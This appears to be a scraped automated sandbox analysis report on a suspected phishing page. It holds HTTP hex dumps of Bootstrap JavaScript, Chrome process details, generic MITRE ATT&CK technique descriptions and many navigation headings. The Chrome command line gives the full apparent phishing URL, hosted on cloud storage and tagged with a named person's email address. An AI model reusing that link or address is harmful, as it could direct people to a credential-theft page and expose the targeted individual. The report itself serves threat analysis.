2021-10-25 16:17:23 UTC	285	IN	Data Raw: 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 2e 20 6a 51 75 65 72 79 20 6d 75 73 74 20 62 65 20 69 6e 63 6c 75 64 65 64 20 62 65 66 6f 72 65 20 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 2e 22 29 3b 76 61 72 20 65 3d 74 2e 66 6e 2e 6a 71 75 65 72 79 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 65 5b 30 5d 3c 32 26 26 65 5b 31 5d 3c 39 7c 7c 31 3d 3d 3d 65 5b 30 5d 26 26 39 3d 3d 3d 65 5b 31 5d 26 26 65 5b 32 5d 3c 31 7c 7c 34 3c 3d 65 5b 30 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f Data Ascii: defined"==typeof t)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9\|\|1===e[0]&&9===e[1]&&e[2]<1\|\|4<=e[0])throw new Error("Boo
2021-10-25 16:17:23 UTC	285	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exe PID: 5800 Parent PID: 3544

General

Start time:	18:17:17
Start date:	25/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1#david.acquaviva@searshc.com'
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: chrome.exe PID: 4928 Parent PID: 5800

General

Start time:	18:17:18
Start date:	25/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1560,11279809522291121238,16691019274040458448,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1920 /prefetch:8
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Sigma Overview

Jbx Signature Overview

AV Detection:

Phishing:

Compliance:

Networking:

System Summary:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

No static file info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: chrome.exe PID: 5800 Parent PID: 3544

General

Analysis Process: chrome.exe PID: 4928 Parent PID: 5800

General

Disassembly

Code Analysis